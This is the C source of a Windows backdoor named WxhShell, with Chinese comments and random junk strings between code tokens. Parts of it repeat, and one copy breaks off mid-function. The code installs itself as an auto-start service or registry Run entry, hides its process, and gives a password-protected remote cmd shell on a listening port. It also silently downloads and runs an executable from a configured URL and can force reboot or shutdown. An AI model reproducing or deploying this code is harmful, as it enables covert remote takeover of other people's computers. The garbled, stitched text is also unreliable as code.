(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tNK^z7Dm oW0gU?Rr)u if (!NtQueryInformationProcess) return 0; vO\:vp4fH t]s94 R q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JOBz{;:R{ if(!hProcess) return 0; 8r,9OM m_a^RB( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -=>sTMWpr Hx$.9'Oq\Q CloseHandle(hProcess); L-#e?Y}$J -Q6(+(7_| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Ei5z6Vk/+ if(hProcess==NULL) return 0; {!L=u/qs" vR7ct av HMODULE hMod; xEjx]w/& char procName[255]; {'NBp0i unsigned long cbNeeded; ^^%JoQ. /K7Bae5h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M~uMY+> tKwn~T CloseHandle(hProcess); J*5hf: ?i Di:{er(p if(strstr(procName,"services")) return 1; // 以服务启动 Q4RpK(N Nepi|{ return 0; // 注册表启动 BU`ckK\( } '=VH6@vZ_' >tN5vWW // 主模块 wHf&R3fg int StartWxhshell(LPSTR lpCmdLine) %NNj9Bl<VV { DKX/W+#a SOCKET wsl; W3)\co BOOL val=TRUE; 7%e1cI int port=0; nE_Cuc>K\ struct sockaddr_in door; oz LH ]* eNtf#Rqym if(wscfg.ws_autoins) Install(); FC{})|yh
} e,(a6X port=atoi(lpCmdLine); t<Ot|Ex xk& NAB if(port<=0) port=wscfg.ws_port; )i;un. _6ZzuVv3/ WSADATA data; +p9-
.YM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .46#`4av FQ`(b3.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i0>]CJG setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !$_~x
8K1- door.sin_family = AF_INET; ?\ZL#)hr"p door.sin_addr.s_addr = inet_addr("127.0.0.1"); yNBv-oe5 door.sin_port = htons(port); <:">mV+/ e!GZSk
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YxXqI closesocket(wsl); ;+a2\j+ return 1; msiu8E } =-w;zx xYPxg! if(listen(wsl,2) == INVALID_SOCKET) { z`4c 4h]I closesocket(wsl); 5Tedo~v return 1; vwmBUix } !scD|ti Wxhshell(wsl); |#k@U6`SG WSACleanup(); }AlYNEY onwjn+"& return 0; Nar>FR7ut lbTV$A } V4|uas{0I: <YH=3[ // 以NT服务方式启动 )qv2)a!H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tg0CE60"
{ yrnv!moc%t DWORD status = 0; `rlk|&T1 DWORD specificError = 0xfffffff; vy[C'a A|L'ih/ serviceStatus.dwServiceType = SERVICE_WIN32; iPvuz7j=h serviceStatus.dwCurrentState = SERVICE_START_PENDING; (,B#t7ka serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f"dSr
serviceStatus.dwWin32ExitCode = 0; s3:9$.tiR[ serviceStatus.dwServiceSpecificExitCode = 0; O(c@PJem serviceStatus.dwCheckPoint = 0; $5NKFJc serviceStatus.dwWaitHint = 0; py
@(
< l(!/Q|Q| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E"6X|I n if (hServiceStatusHandle==0) return; :Wc_Utt Qs%B'9") status = GetLastError(); B2Z_]q$n* if (status!=NO_ERROR) rOcg+5 { Y]Vq\]m\ serviceStatus.dwCurrentState = SERVICE_STOPPED; BRzfic:e serviceStatus.dwCheckPoint = 0; 0J9D"3T) serviceStatus.dwWaitHint = 0; \vRd} serviceStatus.dwWin32ExitCode = status; GSi>l,y' serviceStatus.dwServiceSpecificExitCode = specificError; $=)gpPT SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?IF)+] return; 6@V~0DG } v7,$7@$:\ 6~xBi(m` serviceStatus.dwCurrentState = SERVICE_RUNNING; MjD75hIZ serviceStatus.dwCheckPoint = 0; l$XPIC~H serviceStatus.dwWaitHint = 0; PyBD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2'] KTHm } <CZgQ\Mt Dvc&RG // 处理NT服务事件,比如:启动、停止 e2cP
*J VOID WINAPI NTServiceHandler(DWORD fdwControl) 6;iJ*2f5V { ;wHCj$q switch(fdwControl) l1'6cLT` { 3I $>uR case SERVICE_CONTROL_STOP: 9t$]X>} serviceStatus.dwWin32ExitCode = 0; bm#(? serviceStatus.dwCurrentState = SERVICE_STOPPED; AXPMnbUS serviceStatus.dwCheckPoint = 0; ~Lz%.a;o serviceStatus.dwWaitHint = 0; tU:EN;H { q%i-`S]}qL SetServiceStatus(hServiceStatusHandle, &serviceStatus); cBXWfv4 } Lja 7 return; %JyXbv3m, case SERVICE_CONTROL_PAUSE: {<=#*qx[Y! serviceStatus.dwCurrentState = SERVICE_PAUSED; />44]A< break; ,|h)bg7. case SERVICE_CONTROL_CONTINUE: (Un_!) serviceStatus.dwCurrentState = SERVICE_RUNNING; ,r8Tbk]m break; \r{W case SERVICE_CONTROL_INTERROGATE: _S`o1^Ad break; ;j%BK(5 }; 2=iH$v SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vzl^Ka' } VIJ<``9[ 8gy_Yj&{P // 标准应用程序主函数 gckI.[!b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IzLQhDJ1 { y[?-@7i qfoD // 获取操作系统版本 i+{yMol1 OsIsNt=GetOsVer(); &(N+.T5cp GetModuleFileName(NULL,ExeFile,MAX_PATH); #oni:] E!m ~j9O$s~) // 从命令行安装 =]C]= if(strpbrk(lpCmdLine,"iI")) Install(); &--ej|n )#iq4@)|g // 下载执行文件 bm% $86 if(wscfg.ws_downexe) { }"^'%C8EX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9DQa
PA6 WinExec(wscfg.ws_filenam,SW_HIDE); [7FItlF%I } %w7pkh, |r%D\EB if(!OsIsNt) { OEx^3z^ // 如果时win9x,隐藏进程并且设置为注册表启动 eKvV*[Na HideProc(); cLVe T StartWxhshell(lpCmdLine); :'iYxhM.V } =#gEB#$x: else wU\s;
dK if(StartFromService()) 4m)OR // 以服务方式启动 QPtGdd StartServiceCtrlDispatcher(DispatchTable); }g7]?Ee else n\z,/'d" // 普通方式启动 U.!lTLjfLz StartWxhshell(lpCmdLine); !> }.~[M ,#?uJTLH return 0; 6/V3.UP- } y:m_tv0~0 &0zT I?c a^d8I :j }fC8' =========================================== zOgTQs"ZH L2Pujk uvP2Wgt YjOs}TD lx ' Z0r>. rE9I>|tX " 5NoI~X= /zDi9W*~1 #include <stdio.h> I`KQ|h0% #include <string.h> kHw_ S- #include <windows.h> r$Co0!. #include <winsock2.h> n_ lo` #include <winsvc.h> &e-U5'(6v_ #include <urlmon.h> r%:+$aIt LI2&&Mw #pragma comment (lib, "Ws2_32.lib") JM1R ;i6 #pragma comment (lib, "urlmon.lib") D%6;^^WyUx ;{h CF #define MAX_USER 100 // 最大客户端连接数 +6wiOHB` #define BUF_SOCK 200 // sock buffer HK|ynBAo #define KEY_BUFF 255 // 输入 buffer $`R6=\| Um#Wu]i #define REBOOT 0 // 重启 PxH72hBS #define SHUTDOWN 1 // 关机 D?XM,l+ tyaA\F57 #define DEF_PORT 5000 // 监听端口 FFdBtB b4^`DHRu6 #define REG_LEN 16 // 注册表键长度 0cK{ #define SVC_LEN 80 // NT服务名长度 E|'h]NY M@0;B30L // 从dll定义API )jrV#/m9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /|6;Z}2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L_=3<nE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3bnS
W5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jReXyRmo({ Xp0F
[>h // wxhshell配置信息 34\(7JO struct WSCFG { x#Sqn# int ws_port; // 监听端口 F 8B#}%JE char ws_passstr[REG_LEN]; // 口令 (Jz;W<E int ws_autoins; // 安装标记, 1=yes 0=no pPd#N'\* char ws_regname[REG_LEN]; // 注册表键名 i[wb0yL char ws_svcname[REG_LEN]; // 服务名 yR(x+Gs{] char ws_svcdisp[SVC_LEN]; // 服务显示名 T)r9-wOq char ws_svcdesc[SVC_LEN]; // 服务描述信息 a!O0,y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q0EiEX) int ws_downexe; // 下载执行标记, 1=yes 0=no ~ vqa7~}m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R<OI1,..r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sc,Xw:YO (}}S9 K }; W`c'=c M Y|w // default Wxhshell configuration yX~v-N!X struct WSCFG wscfg={DEF_PORT, y+7w,m2 "xuhuanlingzhe", ~NW32
O)/ 1, \7CGUB>L "Wxhshell", B^g ?=|{ "Wxhshell", h@a+NE8 "WxhShell Service", c y8;@[#9 "Wrsky Windows CmdShell Service", zc[Si bT "Please Input Your Password: ", LD!Q8" 1, GvBHd%Ot "http://www.wrsky.com/wxhshell.exe", ;Iq/l%vX "Wxhshell.exe" l+V>]?j }; ~6p[El#tS JH7< // 消息定义模块 &RfC"lc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ocs+d\ char *msg_ws_prompt="\n\r? for help\n\r#>"; 1dK*y'rx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ght$9>'n char *msg_ws_ext="\n\rExit."; T?X_c"{8M char *msg_ws_end="\n\rQuit."; R=jI?p char *msg_ws_boot="\n\rReboot..."; x&0vKo; char *msg_ws_poff="\n\rShutdown..."; S\;V4@<Kn char *msg_ws_down="\n\rSave to "; M3q|l7|9 x)@G;nZ char *msg_ws_err="\n\rErr!"; w!D|]LoE char *msg_ws_ok="\n\rOK!"; 55z]&5N 9Q"'"b*?z char ExeFile[MAX_PATH]; >3Eo@J,?d int nUser = 0; I"GB<oB HANDLE handles[MAX_USER]; EVGt 5z int OsIsNt; +llR204 !jTcsN% SERVICE_STATUS serviceStatus; Y=Kc'x[,Zj SERVICE_STATUS_HANDLE hServiceStatusHandle; "men ga`3 ( // 函数声明 J@u;H$@/y int Install(void); %\:[ o int Uninstall(void); 4qk9NK2 U int DownloadFile(char *sURL, SOCKET wsh); 9gmW&{6q int Boot(int flag); %
yw?s0 void HideProc(void); a24"yT int GetOsVer(void); o7$'cn int Wxhshell(SOCKET wsl); \ZkA>oO". void TalkWithClient(void *cs); ;XBI{CW int CmdShell(SOCKET sock); ]iUxp+ int StartFromService(void); h5^Z2:# int StartWxhshell(LPSTR lpCmdLine); ,LnII w9bbMx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;<ZLcTL VOID WINAPI NTServiceHandler( DWORD fdwControl ); S Em Q@1 bJX)$G // 数据结构和表定义 J|qZ+A[z SERVICE_TABLE_ENTRY DispatchTable[] = ax<?GjpM { LA}Syt\F {wscfg.ws_svcname, NTServiceMain}, 9@Jtaq>jf {NULL, NULL} |EJD3& }; BW$"`T@c6~ (^Y~/ // 自我安装 i uF*.hc,% int Install(void) IhVO@KJI { vwxXgk char svExeFile[MAX_PATH]; GJ_7h_4 HKEY key; QD0"rxZJ strcpy(svExeFile,ExeFile); ?M\{&mlF *=V~YF:Qb // 如果是win9x系统,修改注册表设为自启动 #
mV{#B= if(!OsIsNt) { 9[.8cg* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,)vDeU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K/|Z$4S RegCloseKey(key); x$6^R q>2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vzim<;i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E2Q[ZoVS RegCloseKey(key); !1$])VQWI return 0; 4b98KsYg } .K1FKC$C } xLK<W"%0 } OCBgR4I else { JzQ )jdvp +%ee8|\ // 如果是NT以上系统,安装为系统服务 |#]@Z)xa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X:vghOt? if (schSCManager!=0) w5Y04J { 7/I, HxXp! SC_HANDLE schService = CreateService ;V *l.gr'2 ( a,k>Q` schSCManager, i3@)W4{ wscfg.ws_svcname, ~a ]+#D wscfg.ws_svcdisp, x|pg"v&[ SERVICE_ALL_ACCESS, _( {hc+9p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vf]
"L.G SERVICE_AUTO_START, A#EDkU,
SERVICE_ERROR_NORMAL, t/VD31 svExeFile, onz?_SAW NULL, snobT Q NULL, 1_PoqD!q NULL, >0ow7Uw; NULL, 8%A#`)fb
NULL '>-gi}z7 ); m
qMHL2~ if (schService!=0) A%KDiIA { CDQW !XHc CloseServiceHandle(schService); =8AO: CloseServiceHandle(schSCManager); K,+LG7ec strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dfKF%27 strcat(svExeFile,wscfg.ws_svcname); ,!#*GZ.ix if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C~2F9Pg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); haK3?A,"_A RegCloseKey(key); gG<~-8uQ return 0; M2OIBH4! } _>(^tCo } =;Rtdy/Yn% CloseServiceHandle(schSCManager); QbkLdM,S* } {.C!i{| } JTSlWq4 RP[{4Q8 return 1; le/,R@]B9 } ,(qRc(Ho 9g'LkP // 自我卸载 ?XrQ53 int Uninstall(void) ;oW6 NJ {
mF*2#]%dx HKEY key; 0D\#Pq
v }X)&zenz if(!OsIsNt) { ,':fu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P5a4ze RegDeleteValue(key,wscfg.ws_regname); Mo?~_|} RegCloseKey(key); V58wU:li if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JTO~9>$ B RegDeleteValue(key,wscfg.ws_regname); de.&`lPRf RegCloseKey(key); Dz>^IMsY return 0; )h"<\%LU } 8!O5quEc } uwzvb gup? } [$0p+1 else { g!@<n1 L q rJ`1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n.'8A(,r3 if (schSCManager!=0) O#:$^#j& { \F1_lq;K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WIC/AL' if (schService!=0) 0^I|ut4 { C7lH]`W|/ if(DeleteService(schService)!=0) { *X'Y$x>f CloseServiceHandle(schService); adCU61t CloseServiceHandle(schSCManager); `^u>9v-+' return 0; *6sl } K2M~-S3 CloseServiceHandle(schService); qLn/2 } +T|JK7 CloseServiceHandle(schSCManager); [ey:e6,T9 } |'P]GK } SQBa;hvgM &]" return 1; ")O%86_Q: } [Y|8\Ph`& ~ELNyI11 // 从指定url下载文件 HePUWL' int DownloadFile(char *sURL, SOCKET wsh) >80;8\ { HW3 }uP\c HRESULT hr;
)j9SGLo char seps[]= "/"; hL/)|N~ char *token; K&POyOvT char *file; e-:yb^ char myURL[MAX_PATH]; 7S '%
E char myFILE[MAX_PATH]; W5EDVPur aoMqSwF= strcpy(myURL,sURL); /Y9>8XSc token=strtok(myURL,seps); *7CV^mDm while(token!=NULL) :[wsKFaV+ { +o\:d1y file=token; ah+~y,Gl token=strtok(NULL,seps); C7rNV0.Fq } E@@5BEB ~ 'Y*E<6: GetCurrentDirectory(MAX_PATH,myFILE); ',Y.v"']4 strcat(myFILE, "\\"); H5DC[bZMb% strcat(myFILE, file); Bc+w+ send(wsh,myFILE,strlen(myFILE),0); qaY1xPWz" send(wsh,"...",3,0); veMH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /qMG=Z if(hr==S_OK) "@%7 -nu return 0; 0H6(EzN else i!J8 d" return 1; $G8E 3|k S{]x } SX<` {x&L iP
=V8g?L // 系统电源模块 d74d/l1*{ int Boot(int flag) 2)G
%)' { -e_hrCW&9 HANDLE hToken; cc,^6[OH@ TOKEN_PRIVILEGES tkp; FG6h,7+ PPb7%2r if(OsIsNt) { D?;"9e% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Mx!^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :}5j##N tkp.PrivilegeCount = 1; 6N!Q:x^4(T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 't1ax^-g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W#^2#sjO if(flag==REBOOT) { 0t Fkd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dCE0$3'5 return 0; < vL,*.zd } 1;C+$ else { =Q+;=-1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NG--6\ return 0; 2;zb\d } A0o-:n Fu } ti5mIW\ else { GC>e26\: if(flag==REBOOT) { 2Z-ljD& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Y$h"<M return 0; O~T@rX9f } k`So -e- else { CLRiJ*U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZIf return 0; 5*j?E } /I1h2E } 0rOfrTNOz% )k\H@Dy%$ return 1; +1uF !G&l } KV}FZ3jY U7K,AflK?M // win9x进程隐藏模块 m+b): void HideProc(void) ?%O(mC]u& { syWG'(> O#F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q9~*<I> h; if ( hKernel != NULL ) =:&ly'QB& { GNgKo]u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oI=fx Sjd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ukIQr/k FreeLibrary(hKernel); o^^rJk } GR
+[UG z2MWN\?8 return; :# .<[ } u])b,9&En W~zbm] // 获取操作系统版本 TOkp%@9/ int GetOsVer(void) lhYe;b( { C69q&S, OSVERSIONINFO winfo; HW=C),*]cR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6eT5ktf GetVersionEx(&winfo); }RzWJ@QD< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xC{qV, return 1; uehDIl0\[b else I/&%]"[^u return 0; E8pB;\Z( } 6{"$nF] v:!Z=I}> // 客户端句柄模块 A;*d}Xe&J int Wxhshell(SOCKET wsl) S#MZV@nGF { PMNjn9d SOCKET wsh; )CuZDf@ struct sockaddr_in client; N):tOD@B DWORD myID; Of" %5eY' while(nUser<MAX_USER) 2>cGH7EBD { 5MN8D COF int nSize=sizeof(client); +?:7O=Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z`!XhU if(wsh==INVALID_SOCKET) return 1; %K>,xiD) }])oM|fgO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )\eI;8 if(handles[nUser]==0) %+j8["VEC closesocket(wsh); L W[9 else m;'6MHx; nUser++; PK{acen } jF0jkj1&/[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {)BTR %t UmKI1l return 0; iH/6M } d{SG
Cr 9d Jth[DUH8H // 关闭 socket z2g3FUTX)b void CloseIt(SOCKET wsh) `-(|>5wWS { =T(6#" closesocket(wsh); N>XS=2tzN nUser--; $})g?Q ExitThread(0); r[BVvX/,F } l8I /0`_ swK-/$# // 客户端请求句柄 F({HP)9b void TalkWithClient(void *cs) Fh`~`eog { /W>iJfx $oj:e?8N SOCKET wsh=(SOCKET)cs; PmKeF} char pwd[SVC_LEN]; %>~sJ0 char cmd[KEY_BUFF]; 4kBaB char chr[1]; )TVFtI=,NN int i,j; mS~o?q-n tnPv70m while (nUser < MAX_USER) { j6Yy6X] K
P Oa|$ if(wscfg.ws_passstr) { yf[~Yl>Ogw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |y0(Q V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CDP
U\ZG //ZeroMemory(pwd,KEY_BUFF); {OXFN;2 i=0; ,q}MLTSi while(i<SVC_LEN) { H@q?v+2 \6R,Nq // 设置超时 w8MG(Lq1" fd_set FdRead; @JD;k> struct timeval TimeOut; \/: {)T~ FD_ZERO(&FdRead); k< y>) FD_SET(wsh,&FdRead); \.-}adKg TimeOut.tv_sec=8; Nv(9N-9r TimeOut.tv_usec=0; -I&m:A$4* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )%`^xR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fA+,TEB~d k@/sn(x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fh](K'P#^ pwd=chr[0]; p-Kz-+A [ if(chr[0]==0xd || chr[0]==0xa) { CIb2J)qev pwd=0; ti
I.W break; M luVx' } : cF[(i/k4 i++; /atW8 `& } R)QC)U /ro=?QYb // 如果是非法用户,关闭 socket ~GL]wF2# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n ~shK<!C } -'t)=YJ "Y~:|?(@- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c_vqL$Dl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cc~O&?)i n=y[CKS while(1) { sj HrPs e v":x4!kdX ZeroMemory(cmd,KEY_BUFF); M<kj_.
B56L1^7 // 自动支持客户端 telnet标准 !,6c ~ w j=0; ~N<4L>y< while(j<KEY_BUFF) { z([ v%zf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7f0lQ cmd[j]=chr[0]; 3'cE\u if(chr[0]==0xa || chr[0]==0xd) { ]pH-2_ cmd[j]=0; %M7` Hwu break; k'Sp. } LUM@#3& j++; 0{,Z{&E } dep=& EfCx`3~EX // 下载文件 Hn5|B 3vN if(strstr(cmd,"http://")) { @d
mV send(wsh,msg_ws_down,strlen(msg_ws_down),0); Exc9`
7%. if(DownloadFile(cmd,wsh)) va}Pj#= send(wsh,msg_ws_err,strlen(msg_ws_err),0); G
8g<>d{j else l'/R&`-n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;/r1}tl+3> } gcdlT7F)b- else { Wu[&Wv~ { g/0x,-Z switch(cmd[0]) { /v-6WSN }\\KYyjY // 帮助 }:us:% case '?': { @?yX!_YC send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]yK7PH-{L break; l49*<nkmq } WtG~('g>& // 安装 >8WP0Qx/ case 'i': { ]:4*L if(Install()) @~!wDDS send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8FKXSqhVM else zgNc4B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RS)tO0 break; '98VYCL } kEOS{C%6R // 卸载 lij.N)E case 'r': { bdC8zDD if(Uninstall()) mS(fgq6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UNom- else r:f[mk"-"A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S-
pV_Ff break; K/i*w<aPb7 } `6lr4Kk @R // 显示 wxhshell 所在路径 V^3L3|k case 'p': { r'^Hg/Jzt char svExeFile[MAX_PATH]; G,o6292hj strcpy(svExeFile,"\n\r"); E"qRw_
~t strcat(svExeFile,ExeFile); &cxRD send(wsh,svExeFile,strlen(svExeFile),0); Y9uC&/_C break; Pv_Jm } 9N@W\DT // 重启 ,z;cbsV-{ case 'b': { )Im#dVQs= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V@zg}C|e if(Boot(REBOOT)) pGJ>O/% send(wsh,msg_ws_err,strlen(msg_ws_err),0); uE%r/:!k4$ else { ([SU:F!uW( closesocket(wsh); B@&4i?yJ ExitThread(0); CG0
M } 6$kq aS## break; F Sw\_[^CQ } ok!L.ac // 关机 '*5i)^ case 'd': { _F>CBG send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \fG#7_wt if(Boot(SHUTDOWN)) =]6%G7T send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x0!*3q else { L^}_~PO N5 closesocket(wsh); iII=;:p ExitThread(0); )wC?T } }& cu/o4 break; (gP)% }
^
DaBz\ // 获取shell ^hc!FD case 's': { OGK}EI CmdShell(wsh); ,]9P{k]O closesocket(wsh); >/l? g5{ ExitThread(0); i,>khc break; hIy ~B[' } B"h#C!E // 退出 @
[:ZS+1 case 'x': { jrr EAp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W>) M5t4i CloseIt(wsh); K^1o DP break; 5gYRwuf } &e E=<x // 离开 0z1ifg& case 'q': { U'H$`$Ov send(wsh,msg_ws_end,strlen(msg_ws_end),0); U{2BVqM closesocket(wsh); J!c)s!`w WSACleanup(); $xzAv{ exit(1); #.rdQ,)< break; b*a#<K$T_ } 7m4aoK } ^q{9 } nyQ&f'< wPQH(~k: // 提示信息 cG[l!Z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0)Uce=t` } ~IYUuWF( } \UPjf]& e7^mmm return; ~xkeuU } )eUh=eW S0zD"T // shell模块句柄 ^uKwB;@ int CmdShell(SOCKET sock) kZR8a(4D { HVi'eNgo STARTUPINFO si; pmuvg6@h ZeroMemory(&si,sizeof(si)); a=J^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; my(2;IJ#{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ro\8ZXUQa PROCESS_INFORMATION ProcessInfo; {m4b(t`xw char cmdline[]="cmd"; |]jb& M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZInpMp return 0; '~5LY!H(pT } NCiW^#b *Fy2BZH%Q // 自身启动模式 |,S+@"0# int StartFromService(void) \:b3~%Fz { >" )Tf6zw& typedef struct z>LUH { /Lfm&; DWORD ExitStatus; ;Y00TGU DWORD PebBaseAddress; 2^r<{0@n DWORD AffinityMask; 6</xL9#/ DWORD BasePriority; zBCtd1Xrni ULONG UniqueProcessId; %'bM){ ULONG InheritedFromUniqueProcessId; /a{la8Ni } PROCESS_BASIC_INFORMATION; * aN ,k24w7K%d PROCNTQSIP NtQueryInformationProcess; YN/|$sMD| &Y!-%{e static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IdzxS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v:IpMU-+\ WffQ :L? HANDLE hProcess; p2#)A" PROCESS_BASIC_INFORMATION pbi; p)`{Sos yMG1XEhuG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (ceNO4"cZ if(NULL == hInst ) return 0; K*%9)hq PY{
G [ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WA5 kg\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /NLui@|R NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h{CL{>d =#;3Q~:Jl^ if (!NtQueryInformationProcess) return 0; v&9y4\j 8L,5Q9
$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MV5 _L3M if(!hProcess) return 0; )F}F_Y Lb!Fcf|h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^NRl// ZGBd%RWjG_ CloseHandle(hProcess); ZT'`hK_up M||+qd W! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *{YlN}vA if(hProcess==NULL) return 0; Bc(Y(X$PK 0]'7_vDs| HMODULE hMod; /z4$gb7Y char procName[255]; WYH Q? unsigned long cbNeeded; X.OD`.!> q8FTi^=Kb if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0pK=o"^?@ 7S-ys+ CloseHandle(hProcess); MDnKX?Y N nRD|A if(strstr(procName,"services")) return 1; // 以服务启动 XeW<B0~ {o)L c6T8s return 0; // 注册表启动 :G [|CPm- } QqDC4+p" )mg:_K // 主模块 |ax3sAg int StartWxhshell(LPSTR lpCmdLine) sGi"rg# { S
